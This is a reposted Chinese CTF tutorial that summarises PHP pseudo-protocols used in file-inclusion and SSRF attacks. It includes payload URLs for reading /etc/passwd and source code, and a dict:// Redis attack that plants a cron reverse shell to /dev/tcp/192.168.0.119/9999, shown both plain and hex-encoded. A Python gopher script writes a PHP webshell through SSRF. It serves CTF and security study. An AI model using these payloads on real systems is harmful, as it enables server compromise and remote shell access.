iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTF常用伪协议总结
  • 726
分享到

CTF常用伪协议总结

php安全web安全 2023-09-21 19:09:59 726人浏览 薄情痞子
摘要

PHP伪协议 file://协议 用来读取本地的文件,当用于文件读取函数时可以用。 常见检测是否存在漏洞写法: www.xxx.com/?file=file:///etc/passwd 此协议不受a

PHP伪协议

  • file://协议

    用来读取本地的文件,当用于文件读取函数时可以用。

    常见检测是否存在漏洞写法:

    www.xxx.com/?file=file:///etc/passwd

    此协议不受allow_url_fopen,allow_url_include配置影响


  • php://input协议

    此协议一般用于输入getshell的代码。

    • 使用方法:

      在get处填上php://input如下

      www.xxx.xxx/?cmd=php://input

      然后用hackbar或者其他工具,postPHP代码进行检验,如

      phpinfo()?>

    此协议受allow_url_include配置影响


  • php://filter协议

    此协议一般用来查看源码

    一般用法如下

    www.xxx.xxx/?file=php://filter/read=covert,vase64-encode/resource=index.php

    出来的是base64码需要进行解码

    此协议不受allow_url_fopen,allow_url_include配置影响


  • data://协议

    需要allow_url_fopen,allow_url_include均为on

    这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:

    Http://127.0.0.1/include.php?file=data://text/plain,

    text/plain,表示的是文本

    text/plain;base64, 若纯文本没用可用base64编码

  • dict://协议

    Gopher协议一般都出现在ssrf协议中,用来探测端口的指纹信息。同时也可以用它来代替gopher协议进行ssrf攻击。

    常见用法:

    • 探测端口指纹

      192.168.0.0/?url=dict://192.168.0.0:6379

      以上为探测6379(Redis)端口的开发

    • 反弹shell

      开启反弹shell的监听

      nc -l 9999

      依次执行下面的命令

      curl dict://192.168.0.119:6379/set:mars:"\n\n * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
      curl dict://192.168.0.119:6379/config:set:dir:/etc/
      curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
      curl dict://192.168.0.119:6379/bgsave
      *

      执行时,反弹shell的命令,也就是set:mars:xxx,会因为特殊字符的原因无法写入到目标的redis中,被被空格所分割导致出现一下情况:

      1584705879.520734 [0 172.17.0.1:44488] “set” “mars” “\n\n*” “" "” “" "” “root” “bash” “-i” “>&” “/dev/tcp/192.168.0.119/6789” "0>&1\n\n"

      我们会发现,命令被分割了,看表象感觉像是被空格分割了。此时将反弹shell的命令进行十六进制转换,变为:

      curl dict://192.168.0.119:6379/set:mars:"\x0a\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x72\x6f\x6f\x74\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x31\x39\x2f\x39\x39\x39\x39\x20\x30\x3e\x26\x31\x0a"

      以上单引号使用反斜杠\进行转移,其他数据进行十六进制编码,执行结果如下,可以发现没有错误了

      1584706087.980465 [0 172.17.0.1:44490] “set” “mars” "\n * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n"*

      剩下的修改路径和文件名称的请求,正常执行即可

  • gopher://协议

    gopher://协议经常用来打内网的各种应用如mysql redis等。一般要用一些工具来进行构造payload 如gopherus等

    之前用来打redis内网的脚本如下

    #!/usr/bin/python# -*- coding: UTF-8 -*-import urllib.requestfrom urllib.parse import quoteurl = "http://192.168.239.78:41403/index.php?url="    #windows上搭建的ssrf漏洞页面gopher = "gopher://0.0.0.0:6379/_" #/var/www/html#auth nonono# 攻击脚本data = """flushallset test "\\n\\n\\n\\n"config set dir /var/www/htmlconfig set dbfilename shell.phpsavequit"""def encoder_url(data):    encoder = ""    for single_char in data:        # 先转为ASCII        encoder += str(hex(ord(single_char)))    encoder = encoder.replace("0x","%").replace("%a","%0d%0a")    return encoder# 二次编码encoder = encoder_url(encoder_url(data))print(encoder)# 生成payloadpayload = url + quote(gopher,'utf-8') + encoder# 发起请求request = urllib.request.Request(payload)response = urllib.request.urlopen(request).read()print(response)

  • zip://协议

    zip://协议可以用来访问服务器中的压缩包,无论压缩包里面的文件是什么类型的都可以执行。也就是说如果服务器禁止我们上传php文件那么我们可以把php文件改后缀然后压缩再上传,然后用zip协议访问。要利用zip协议时一般要结合文件上传与文件包含两个漏洞

    一般的代码为

    www.xxx.xxx/?file=zip:///php.zip#phpinfo.jpg

    其中的#好表示的是php.zip的子文件名。有时候#需要变成==%23==,url编码。


  • compress.bzip2://协议

    与zip协议类似不过要压缩成bzip2格式的


  • compress.zlib://协议

    与zip协议类似不过要压缩成zlib格式的


  • phar://协议

    phar://协议与zip://协议类似,它也可以访问zip包,访问的格式与zip的不同,如下所示

    http://127.0.0.1/include.php?file=phar:///phpinfo.zip/phpinfo.txt#这里用/隔开了子文件

来源地址:https://blog.csdn.net/weixin_51735061/article/details/123156046

--结束END--

本文标题: CTF常用伪协议总结

本文链接: https://www.lsjlt.com/news/414487.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • CTF常用伪协议总结
    PHP伪协议 file://协议 用来读取本地的文件,当用于文件读取函数时可以用。 常见检测是否存在漏洞写法: www.xxx.com/file=file:///etc/passwd 此协议不受al...
    99+
    2023-09-21
    php 安全 web安全
  • ctf文件包含+伪协议总结
    基本原理 后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程也就被称为文件包含。文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。这个漏洞在p...
    99+
    2023-09-01
    php 开发语言
  • 【CTF】ctf中用到的php伪协议总结及例题(持续更)
    目录 前言 关于文件包含漏洞 php伪协议总结 关于php://协议 参考自: 前言  本篇文章使用的靶场是buuctf上的web题目:[BSidesCF 2020]Had a bad day 进行点击选项得到一个这样的url  这里...
    99+
    2023-09-01
    php 网络安全 ctf
  • php伪协议总结
    php伪协议总结 概述 PHP伪协议,也是php支持的协议和封装协议 常见的伪协议有: php://访问各个输入输出流file://访问本地文件系统data://获取数据(RFC 2397)zip:/...
    99+
    2023-09-21
    php web安全
  • php://filter伪协议(总结)
    前言 这篇文章主要是关于php://filter伪协议中的知识点总结,分析了常见的用法 文章目录 前言php://filter伪协议总结php://filter伪协议介绍php://filte...
    99+
    2023-08-31
    php 开发语言 web安全 安全
  • PHP Filter伪协议Trick总结
    PHP Filter伪协议Trick总结 前言:最近在学习的过程中碰到了很多的filter协议的小trick,在此做一个总结以及对filter协议的一些探索。 PHP Filter协议介绍 ​ php...
    99+
    2023-10-18
    安全
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)
    [CTF/网络安全] 攻防世界 Web_php_include 解题详析 代码审计PHP_include文件包含漏洞及伪协议PayloadPHP伪协议恶意 PHP 伪协议data伪协议恶意 d...
    99+
    2023-10-18
    web安全 CTF php 网络安全
  • ctf中常见php rce绕过总结
    php webshell的研究 只是总结一些常见的姿势,大佬轻喷 无字母的情况 一个经典的示例 ...
    99+
    2023-09-29
    php 开发语言 web安全 网络安全 安全
  • SSRF(3)伪协议读取文件&Gopher协议的利用
    一:Http、Dict和file等协议的利用 1,内网访问 所以构造: /url=http://127.0.0.1/flag.php 得到: ctfhub{ce475b59a4baee959112777b} 2,伪协议读取文件 最经...
    99+
    2023-10-01
    php 开发语言 web安全 网络
  • VSCode LSP 语言服务器协议总结
    为什么使用语言服务器协议? LSP(Language Server Protocol)语言服务器是一种特殊的 Visual Studio Code 扩展,可为许多编程语言提供编辑体验。使用语言服务器,...
    99+
    2023-10-21
    vscode 里氏替换原则 服务器
  • Linux常用命令总结(建议收藏)
    文章目录 一、文件管理1、cat:查看文件内容案例1:输出内容+行数 2、chmod:是控制用户对文件的权限的命令案例1::将user文件修改成用户、组、其他用户都可以读写可执行的权限 3、diff:用于比较文件的差...
    99+
    2023-08-25
    linux 服务器 unix
  • 文件包含及PHP伪协议怎么用
    今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码...
    99+
    2023-06-30
  • 【每天学习一点新知识】文件包含常用之伪协议
    一、伪协议 file:// — 访问本地文件系统http:// — 访问 HTTP(s) 网址ftp:// — 访问 FTP(s) URLsphp:// — 访问各个输入/输出流(I/O streams)zlib:// — 压缩流data...
    99+
    2023-09-02
    php web安全 网络 Powered by 金山文档
  • 怎么使用php伪协议实现命令执行
    今天小编给大家分享一下怎么使用php伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.file://协议条...
    99+
    2023-07-02
  • TCP协议灵魂 12 问,总会用得到
    先亮出这篇文章的思维导图TCP 作为传输层的协议,是一个软件工程师素养的体现,也是面试中经常被问到的知识点。在此,我将 TCP 核心的一些问题梳理了一下,希望能帮到各位。001. 能不能说一说 TCP 和 UDP 的区别?首先概括一下基本的...
    99+
    2023-08-03
  • python 常用包总结
    1、  Import 函数 from 库,往后可以直接使用  函数  import库,要使用函数则需 库.函数。 2、  %matplotlib inline是jupyter notebook里的命令, 意思是将那些用matplotlib...
    99+
    2023-01-31
    常用 python
  • PHP 伪协议:使用 php://filter 为数据流应用过滤器
    文章目录 参考环境PHP 伪协议概念为什么需要 PHP 伪协议? php://filter概念格式 基本使用普通读写file_get_contents 与 file_put...
    99+
    2023-10-18
    php 过滤器 PHP 伪协议 base64 rot13 过滤器列表 PHP 配置项
  • Git常用命令总结
    这篇文章主要讲解了“Git常用命令总结”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Git常用命令总结”吧!前言  这里就不介绍 git 了,表一看到命令行就怕怕,常用的命令也就这些,基本满...
    99+
    2023-06-09
  • Moment.js常见用法总结
    Moment.js是一个轻量级的js时间处理类库,其使用简单,方便了日常开发中对时间的操作,提高了开发效率。 引用Moment.js npm install moment 常用的方...
    99+
    2024-04-02
  • docker常用命令总结
    本篇内容主要讲解“docker常用命令总结”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“docker常用命令总结”吧!个人简单总结:参数用途语法示例search在docker hub中搜索镜像d...
    99+
    2023-06-03
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作